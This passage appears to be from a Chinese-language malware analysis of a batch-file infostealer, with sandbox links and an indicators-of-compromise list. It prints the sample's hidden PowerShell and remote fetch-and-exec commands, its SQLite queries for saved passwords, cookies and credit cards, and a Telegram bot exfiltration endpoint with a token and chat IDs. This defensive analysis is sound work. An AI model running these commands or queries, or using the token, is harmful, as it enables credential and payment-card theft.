"C:\Users\user\AppData\Local\Temp\aflg023p\aflg023p.0.cs" ``` ### Lakatos, K#U00f6ves and Partners.bat [MalwareBazaar | Download malware samples](https://bazaar.abuse.ch/download/a97df6a45e872b0305a87405b0fe1fb2f59fa3c9054ac90202dbc0bc600f2830/) 可以看到與上面所看到的內容相同 ![image](https://hackmd.io/_uploads/ryvYGc8w1g.png) 使用此 bat 的 hash 進行搜尋,可以找到 [a97df6a45e872b0305a87405b0fe1fb2f59fa3c9054ac90202dbc0bc600f2830 | Triage](https://tria.ge/250103-r2z4fsskfq/behavioral1) ![image](https://hackmd.io/_uploads/B1_mX5Uvyg.png) ![image](https://hackmd.io/_uploads/H15NX9LPyg.png) 可以看到 cmdline 的檔名會不斷變換 #### network 在這篇報告可以看到有進行網路活動 [a97df6a45e872b0305a87405b0fe1fb2f59fa3c9054ac90202dbc0bc600f2830 | Triage](https://tria.ge/250103-r2z4fsskfq/behavioral2) ![image](https://hackmd.io/_uploads/rJ7-V9Lvyl.png) 但僅有紀錄 DNS --- ## IoC 以下資訊僅針對此病毒與受害電腦上所出現之特徵 ### 攻擊指令 1. `powershell -ep bypass -w hidden -enc ZgB1AG4AYwB0....` 1. `"C:\Users\Public\ChromeApplication\synaptics.exe" -c "import requests;exec(requests.get('https://gitlab.com/blackhat_code/software/-/raw/main/sup02.entrypoint', verify=False).text)"` 2. `taskkill /F /IM browser.exe` 3. `browser.exe --remote-debugging-port=9222 --restore-lastest-session --user-data-dir={path} --profile-directory={profile} --remote-allow-origins=* --headless --window-size=1,1 --disable-gpu --no-sandbox` ### 存取檔案 1. All_Passwords.txt 2. login_db 3. cards_db 4. Temp\[TW_某IP] 電腦名稱.zip 5. Facebook_Cookies.txt 6. profiles.ini 7. logins.json 9. key4.db 10. cookies.sqlite 11. Startup\WindowsSecurity.lnk - `"C:\Users\Public\ChromeApplication\synaptics.exe" -c "import requests;exec(requests.get('https://gitlab.com/blackhat_code/software/-/raw/main/sup02.entrypoint', verify=False).text)"` 13. C:\Users\Public\ChromeApplication - DLLs\ - Lib\ - definitions.py - python310.dll - synaptics.exe(pythonw.exe 3.10.11) - vcruntime140.dll ### 連線 IP or URL 1. `http://localhost:9222/json` 2. `https://api.telegram.org/bot{TOKEN_BOT}/sendDocument` - 149.154.167.220:443 4. `http://ip-api.com/json/?fields=8195` - 208.95.112.1:80 5. `.facebook.com` - adsmanager - graph - mbasic - business 6. `https://gitlab.com/blackhat_code/software/-/raw/main/sup02.entrypoint` - 172.65.251.78:443 ### TG info 1. TOKEN_BOT='7688244721:AAEuVdGvEt2uIYmzQjJmSJX1JKFud9pr1XI' 2. CHAT_ID_NEW='-1002426006531' 3. CHAT_ID_RESET='-1002489276039' 4. https://t[.]me/Xmeta ### sqlite 查詢語法 1. `SELECT item1, item2 FROM metadata;` 2. `SELECT a11, a102 FROM nssPrivate WHERE a102 = b'\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01';` 3. `SELECT action_url, username_value, password_value FROM logins` 4. `SELECT host, path, name, value, isSecure, isHttpOnly, expiry FROM moz_cookies` 5. `SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards` ### header `headers = {'authority': 'adsmanager.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5','cache-control': 'max-age=0','sec-ch-prefers-color-scheme': 'dark','sec-ch-ua': '"Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"','sec-ch-ua-full-version-list': '"Chromium";v="112.0.5615.140", "Google Chrome";v="112.0.5615.140", "Not:A-Brand";v="99.0.0.0"','sec-ch-ua-mobile': '?0','sec-ch-ua-platform': '"Windows"','sec-ch-ua-platform-version': '"15.0.0"','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'same-origin','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36','viewport-width': '794'}`